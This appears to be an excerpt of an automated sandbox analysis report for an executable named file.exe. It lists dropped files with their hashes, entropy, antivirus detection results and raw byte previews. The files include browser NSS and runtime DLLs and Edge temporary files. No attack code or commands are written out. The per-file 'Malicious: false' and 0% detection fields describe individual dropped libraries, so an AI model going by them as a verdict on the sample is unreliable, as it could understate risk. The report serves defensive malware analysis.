Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6FFC452AB6FB008A0C89642CA9983771",.. "id": "6FFC452AB6FB008A0C89642CA9983771",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6FFC452AB6FB008A0C89642CA9983771"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/47D40E00723DD64283926FB0B291AF00",.. "id": "47D40E00723DD64283926FB0B291AF00",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/47D40E00723DD64283926FB0B291AF00"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5fa47b49-b2d4-4cb3-b32a-7323ec07a72d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\66f6f430-6886-4245-a6d1-670012da2ee9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\8ef5d978-f5ff-42bd-9c30-5dc3fd8de8c5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\a9073d04-9b73-447d-b80f-9c40379c7aa9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GM0GqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEIO:l81Ltl7E6lEMVo/S01fDpWmEgs
MD5:	FE412FA3A2B510A55FE8496C5490BB2F
SHA1:	499667BC9FE43344D037FB95A6563AD30D3DB3D5
SHA-256:	DE6110AFBA31DC638DE84FD6D255D78C2125CEFADCE3774B310149B4EBE5EE1D
SHA-512:	3E8821A1249AA4DC88629C9D6BF6BAD0AE9074CFCACB22B3E856F05DB9DCB54A5B4A3F03D9BE94F06C79F28313C95F5E77A66543ADA180ACBE71BC824AEB47B5
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\be4d0aed-500f-4a8d-9117-3c1fe43ab77a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\c94d100d-46ea-4384-ab89-73d41cbcc7ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2017 (Macintosh), datetime=2019:01:23 13:24:18], baseline, precision 8, 401x402, components 3
Category:	dropped
Size (bytes):	1593585
Entropy (8bit):	7.992198963238798
Encrypted:	true
SSDEEP:	49152:9nF+Y9RtsZY1MoTw0uH//B86XYH6N86cYAtyXMc9u:9F+Yq2wZH//786N8vYz9u
MD5:	D08BCBAB71FC10B79B81B35756F86108
SHA1:	47B9D3802C9EB52FEF58F4647ED49CAF8D63A843
SHA-256:	0640BAE1208A0BFFC12323C22FADA547540EC640827CA49F9164BA4F5392494A
SHA-512:	875BE6546874586714E410DC5CEDA85DD2AE39ACA1293851D946D63F375CAAB7DB737071CD185DDEDFA593EB7F1962860213A78895B5BED25BF97978A01AD599
Malicious:	false
Preview:	......JFIF.....,.,......Exif..MM..............................b...........j.(...........1.....$...r.2...........i...............-....'..-....'.Adobe Photoshop CC 2017 (Macintosh).2019:01:23 13:24:18.....................................................................$...........,.(.....................4...................H.......H.........C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......w.w..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..4..}Z...5uB. c v..?..........My4.....f..O.I.?....

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.39966964828983
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrp:8e2Fa116uCntc5toYaXM
MD5:	11B74603FBBB45AE1088AC38FD83BEA0
SHA1:	070ED05CF138B182223754E61C4AED0E3745C786
SHA-256:	B1544232D2011803BCD5C56D4D7C4DCC01F3EB88F14E31FE4CF4FE5F6C0E954B
SHA-512:	7615381EC7E86FE22960C68FC12F22E04063E248C951EE49A821973EECE0D9AE55F43F189F597B1937EACA0A0A4E1A89ABB96C21A47B21967B5BE9F1F63DA5F6
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e2b39aca-164c-495f-aa14-83b4c7c5cbb1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1736767561\8ef5d978-f5ff-42bd-9c30-5dc3fd8de8c5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1736767561\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1736767561\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1736767561\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
